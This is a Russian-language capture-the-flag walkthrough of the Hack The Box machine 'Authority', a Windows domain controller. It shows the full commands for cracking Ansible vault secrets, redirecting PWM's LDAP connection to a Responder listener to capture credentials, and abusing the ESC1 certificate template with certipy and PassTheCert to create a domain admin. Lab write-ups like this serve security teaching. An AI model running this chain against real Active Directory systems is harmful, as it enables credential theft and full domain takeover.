Обзор сервисов

Машине присвоен IP-адрес 10.10.11.222. Запустим стандартное сканирование портов с помощью nmap:

$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.222 10.10.11.222
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-19 14:24 GMT
Nmap scan report for 10.10.11.222
Host is up (0.052s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8443/tcp  open  https-alt
9389/tcp  open  adws
47001/tcp open  winrm
49367/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49692/tcp open  unknown
49702/tcp open  unknown
49711/tcp open  unknown
49715/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 93.24 seconds

SMB

Посмотрим, что можно найти на самбе.

$ smbclient -L \\10.10.11.222
Enter WORKGROUP\user's password: 

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 C$              Disk      Default share
 Department Shares Disk      
 Development     Disk      
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share 
 SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available
$ smbclient -U anonymous \\\\10.10.11.222\\Development
smb: \> ls
  .                                   D        0  Fri Mar 17 13:20:38 2023
  ..                                  D        0  Fri Mar 17 13:20:38 2023
  Automation                          D        0  Fri Mar 17 13:20:40 2023
smb: \> cd Automation\
smb: \Automation\> ls
  .                                   D        0  Fri Mar 17 13:20:40 2023
  ..                                  D        0  Fri Mar 17 13:20:40 2023
  Ansible                             D        0  Fri Mar 17 13:20:50 2023
smb: \Automation\> cd Ansible\
smb: \Automation\Ansible\> ls
  .                                   D        0  Fri Mar 17 13:20:50 2023
  ..                                  D        0  Fri Mar 17 13:20:50 2023
  ADCS                                D        0  Fri Mar 17 13:20:48 2023
  LDAP                                D        0  Fri Mar 17 13:20:48 2023
  PWM                                 D        0  Fri Mar 17 13:20:48 2023
  SHARE                               D        0  Fri Mar 17 13:20:48 2023

Каталог PMW. Вероятно, он связан с веб-сервисом PWM на 8443 порту.

Alt text

Проверим, какие файлы есть в этом каталоге:

smb: \Automation\Ansible\PWM\> cd defaults
smb: \Automation\Ansible\PWM\defaults\> ls
  .                                   D        0  Fri Mar 17 13:20:48 2023
  ..                                  D        0  Fri Mar 17 13:20:48 2023
  main.yml                            A     1591  Sun Apr 23 22:51:38 2023

  5888511 blocks of size 4096. 1518421 blocks available
smb: \Automation\Ansible\PWM\defaults\> get main.yml
getting file \Automation\Ansible\PWM\defaults\main.yml of size 1591 as main.yml (7.2 KiloBytes/sec) (average 3.8 KiloBytes/sec)
$ cat main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          326665343864353665376531366637316331386162643232303835663339663466623131613262396134353663663462373265633832356663356239383039640a34643137343166643334343436613935653634376333666234613466396534343030656165396464323564373334616262613439343036334326263326364380a6530343137333266393234336261303438346635383264396362323065313438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

Возьмем каждый хеш, начинающийся с $ANSIBLE_VAULT, и сделаем из него хеш для hashcat.

python3 /opt/john/run/ansible2john.py hash.yml | sed "s/hash.yml://" >> hashes.txt

На выходе получим нечто похожее:

$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635

Начнем брутить и получим один и тот же пароль для расшифровки хранилища.

hashcat -m 16900 -O -a 0 -w 4 hashes.txt /mnt/hdd/wordlists/rockyou.txt

С помощью ansible-vault расшифруем каждое хранилище:

$ cat vault1.yml | ansible-vault decrypt
Vault password: 
Decryption successful
$ cat vault2.yml | ansible-vault decrypt
Vault password: 
Decryption successful
$ cat vault3.yml | ansible-vault decrypt
Vault password: 
Decryption successful

Однако залогиниться в PWM не вышло с этими кредами из-за кривого подключения к LDAP.

Alt text

Если нажать на кнопку Configuration Manager, то попадем на /pwm/private/config/login, где можно залогиниться с помощью админского пароля из предыдущего пункта.

Alt text

Мы можем скачать конфигурацию PWM и импортировать ее. В файле конфигурации видим адрес сервера ldaps://authority.authority.htb:636.

Alt text

Запустим responder, модифицируем адрес на наш:

ldap://10.10.14.47:389

Alt text

Запустим responder:

sudo python3 Responder.py -I tun

И загрузим новую конфигурацию в PWM.

Alt text

После рестарта приложения получаем креды в чистом виде:

Alt text

Логинимся с помощью WinRM.

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

В каталоге C:\ находим подкаталог Certs.

Alt text

Есть вероятность, что на этой машине выписываются сертификаты для других сервисов, что может привести к уязвимости ESC1.

Попробуем найти уязвимый шаблон для выписывания сертификата:

$ certipy find -u [email protected] -target 10.10.11.222 -ldap-channel-binding -vulnerable
Certipy v4.8.1 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Saved BloodHound data to '20230924141137_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230924141137_Certipy.txt'
[*] Saved JSON output to '20230924141137_Certipy.json'
$ cat 20230924141137_Certipy.txt 
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : AUTHORITY.HTB\Administrators
      Access Rights
        ManageCertificates              : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        ManageCa                        : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Enroll                          : AUTHORITY.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : AutoEnrollmentCheckUserDsCertificate
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : 16777216
                                          65536
                                          ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Property Principals       : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

Нам нужен доменный компьютер, чтобы выписывать сертификаты.

Если посмотреть на привилегии пользователя, то можно увидеть, что ему доступно добавление рабочих станций в домен:

whoami /all

Alt text

Теперь с помощью impacket-addcomputer добавим новую машину в домен:

$ addcomputer.py authority.htb/svc_ldap:"ldap_password" -computer-name PWN$ -computer-pass PWN -dc-ip 10.10.11.222
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account PWN$ with password PWN.

После чего выпишем сертификат:

$ certipy req -u 'PWN$' -p 'PWN' -ca AUTHORITY-CA -target 10.10.11.222 -template CorpVPN -upn [email protected] -dns authority.authority.htb -dc-ip 10.10.11.222
Certipy v4.8.1 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with multiple identifications
    UPN: '[email protected]'
    DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'

Экспортируем сертификат и приватный ключ из pfx файла:

certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
certipy cert -pfx administrator_authority.pfx -nocert -out user.key

Теперь используем утилиту PassTheCert для аутентификации как администратор домена, добавляем нового пользователя admin и прокидываем его в группу Administrators.

$ git clone https://github.com/AlmondOffSec/PassTheCert
$ cd PassTheCert/Python
$ python3 passthecert.py -action ldap-shell -crt ~/htb/authority/user.crt -key ~/htb/authority/user.key -domain authority.htb -dc-ip 10.10.11.222
$ add_user admin
Attempting to create user in: %s CN=Users,DC=authority,DC=htb
Adding new user with username: admin and password: i<v,g-j4pOXPdI4 result: OK
$ add_user_to_group admin Administrators
Adding user: admin to group Administrators result: OK

После чего с помощью evil-winrm логинимся за него.

evil-winrm -i 10.10.11.222 -u admin -p "i<v,g-j4pOXPdI4"

Alt text

Флаг суперпользователя

Alt text